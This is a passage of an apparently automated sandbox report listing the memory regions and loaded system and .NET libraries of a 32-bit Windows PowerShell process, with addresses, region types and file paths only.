"\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 996 start_va = 0x774c0000 end_va = 0x775defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000774c0000" filename = "" Region: id = 997 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 998 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000775e0000" filename = "" Region: id = 999 start_va = 0x260000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1003 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1004 start_va = 0x773e0000 end_va = 0x77426fff monitored = 0 entry_point = 0x773e74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1005 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1006 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1007 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1008 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1009 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1010 start_va = 0x77180000 end_va = 0x7721ffff monitored = 0 entry_point = 0x771949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1011 start_va = 0x76b90000 end_va = 0x76c3bfff monitored = 0 entry_point = 0x76b9a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1012 start_va = 0x77490000 end_va = 0x774a8fff monitored = 0 entry_point = 0x77494975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1013 start_va = 0x769e0000 end_va = 0x76acffff monitored = 0 entry_point = 0x769f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1014 start_va = 0x75410000 end_va = 0x7546ffff monitored = 0 entry_point = 0x7542a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1015 start_va = 0x75400000 end_va = 0x7540bfff monitored = 0 entry_point = 0x754010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1016 start_va = 0x752d0000 end_va = 0x752e3fff monitored = 0 entry_point = 0x752d1da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 1017 start_va = 0x766d0000 end_va = 0x767cffff monitored = 0 entry_point = 0x766eb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1018 start_va = 0x76270000 end_va = 0x762fffff monitored = 0 entry_point = 0x76286343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1019 start_va = 0x77890000 end_va = 0x77899fff monitored = 0 entry_point = 0x778936a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1020 start_va = 0x76300000 end_va = 0x7639cfff monitored = 0 entry_point = 0x76333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1021 start_va = 0x763d0000 end_va = 0x7652bfff monitored = 0 entry_point = 0x7641ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1022 start_va = 0x76ad0000 end_va = 0x76b5efff monitored = 0 entry_point = 0x76ad3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1023 start_va = 0x67950000 end_va = 0x67999fff monitored = 1 entry_point = 0x67952e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 1024 start_va = 0x260000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1025 start_va = 0x300000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 1026 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1027 start_va = 0x400000 end_va = 0x587fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 1028 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1029 start_va = 0x77430000 end_va = 0x7748ffff monitored = 0 entry_point = 0x7744158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1030 start_va = 0x77050000 end_va = 0x7711bfff monitored = 0 entry_point = 0x7705168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1031 start_va = 0x590000 end_va = 0x710fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 1032 start_va = 0xcb0000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cb0000" filename = "" Region: id = 1033 start_va = 0x30000 end_va = 0x32fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 1034 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1035 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 1036 start_va = 0x720000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 1039 start_va = 0x720000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 1040 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 1041 start_va = 0x8a0000 end_va = 0xb6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1042 start_va = 0x678c0000 end_va = 0x6794cfff monitored = 1 entry_point = 0x678d2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 1043 start_va = 0x73430000 end_va = 0x73432fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1046 start_va = 0x76850000 end_va = 0x768a6fff monitored = 0 entry_point = 0x76869ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1047 start_va = 0x73e30000 end_va = 0x73e38fff monitored = 0 entry_point = 0x73e31220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1048 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1049 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1050 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1051 start_va = 0x65ee0000 end_va = 0x65ef3fff monitored = 0 entry_point = 0x65eeac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 1052 start_va = 0x65d50000 end_va = 0x65dfafff monitored = 0 entry_point = 0x65de5f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 1054 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1055 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 1056 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 1057 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1058 start_va = 0x200000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1059 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1060 start_va = 0x260000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1061 start_va = 0x2c0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1062 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1063 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1064 start_va = 0x20b0000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 1065 start_va = 0x20b0000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 1066 start_va = 0x21e0000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 1068 start_va = 0xbb0000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 1069 start_va = 0x2260000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 1070 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1071 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1072 start_va = 0x22a0000 end_va = 0x429ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 1073 start_va = 0x290000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1074 start_va = 0x840000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 1075 start_va = 0x2220000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 1076 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1077 start_va = 0x20f0000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 1078 start_va = 0x2190000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 1079 start_va = 0x4310000 end_va = 0x434ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004310000" filename = "" Region: id = 1080 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1089 start_va = 0x647c0000 end_va = 0x65bcafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 1090 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1091 start_va = 0x720000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 1092 start_va = 0x7b0000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 1093 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1476 start_va = 0x63d60000 end_va = 0x647b4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 1483 start_va = 0x63540000 end_va = 0x63d57fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 1505 start_va = 0x634b0000 end_va = 0x6353efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pb378ec07#\\731848746c032af3ce33577b793c9b9c\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pb378ec07#\\731848746c032af3ce33577b793c9b9c\\microsoft.powershell.consolehost.ni.dll") Region: id = 1506 start_va = 0x73bc0000 end_va = 0x73bd6fff monitored = 0 entry_point = 0x73bc3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1507 start_va = 0x7f0000 end_va = 0x82bfff monitored = 0 entry_point = 0x7f128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1508 start_va = 0x7f0000 end_va = 0x82bfff monitored = 0 entry_point = 0x7f128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1509 start_va = 0x7f0000 end_va = 0x82bfff monitored = 0 entry_point = 0x7f128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1510 start_va = 0x7f0000 end_va = 0x82bfff monitored = 0 entry_point = 0x7f128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1511 start_va = 0x7f0000 end_va = 0x82bfff monitored = 0 entry_point = 0x7f128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1512 start_va = 0x73b80000 end_va = 0x73bbafff monitored = 0 entry_point = 0x73b8128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1532 start_va = 0x619c0000 end_va = 0x634a2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\system.management.automation.ni.dll") Region: id = 1537 start_va = 0x42a0000 end_va = 0x4301fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 1539 start_va = 0x4370000 end_va = 0x43affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 1540 start_va = 0x43f0000 end_va = 0x442ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043f0000" filename = "" Region: id = 1541 start_va = 0x4430000 end_va = 0x446ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004430000" filename = "" Region: id = 1542 start_va = 0x44c0000 end_va = 0x44fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044c0000" filename = "" Region: id = 1543 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1544 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1561 start_va = 0x65c60000 end_va = 0x65c72fff monitored = 1 entry_point = 0x65c6d900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 1562 start_va = 0x4500000 end_va = 0x47d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 1564 start_va = 0x609a0000 end_va = 0x610abfff monitored = 1 entry_point = 0x60fbf392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1566 start_va = 0x47e0000 end_va = 0x4eebfff monitored = 1 entry_point = 0x4dff392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1568 start_va = 0x609a0000 end_va = 0x610abfff monitored = 1 entry_point = 0x60fbf392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1569 start_va = 0x47e0000 end_va = 0x489ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1577 start_va = 0x609a0000 end_va = 0x610abfff monitored = 1 entry_point = 0x60fbf392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1583 start_va = 0x755b0000 end_va = 0x761f9fff monitored = 0 entry_point = 0x75631601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1584 start_va = 0x2e0000 end_va = 0x2e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 1585 start_va = 0x48b0000 end_va = 0x48effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048b0000" filename = "" Region: id = 1586 start_va = 0x49c0000 end_va = 0x49fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 1587 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1597 start_va = 0x763a0000 end_va = 0x763cefff monitored = 0 entry_point = 0x763a2a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 1598 start_va = 0x768b0000 end_va = 0x769d0fff monitored = 0 entry_point = 0x768b158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1599 start_va = 0x766c0000 end_va = 0x766cbfff monitored = 0 entry_point = 0x766c238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1604 start_va = 0x76ca0000 end_va = 0x76ca4fff monitored = 0 entry_point = 0x76ca1438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1606 start_va = 0x2140000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 1607 start_va = 0x4aa0000 end_va = 0x4adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004aa0000" filename = "" Region: id = 1608 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 1618 start_va = 0x2f0000 end_va = 0x2f7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 1619 start_va = 0x800000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 1620 start_va = 0x43e0000 end_va = 0x441ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043e0000" filename = "" Region: id = 1621 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1622 start_va = 0x65c50000 end_va = 0x65c57fff monitored = 0 entry_point = 0x65c53bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 1638 start_va = 0x4ae0000 end_va = 0x4edffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ae0000" filename = "" Region: id = 1639 start_va = 0x720000 end_va = 0x727fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 1640 start_va = 0x750000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 1641 start_va = 0x4ae0000 end_va = 0x4edffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ae0000" filename = "" Region: id = 1645 start_va = 0x20b0000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 1646 start_va = 0x4970000 end_va = 0x49affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 1647 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 1653 start_va = 0x65c30000 end_va = 0x65c45fff monitored = 0 entry_point = 0x65c313df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 1662 start_va = 0x61020000 end_va = 0x610a3fff monitored = 0 entry_point = 0x610219a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 1663 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 1664 start_va = 0x65bd0000 end_va = 0x65bd9fff monitored = 0 entry_point = 0x65bd4ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: 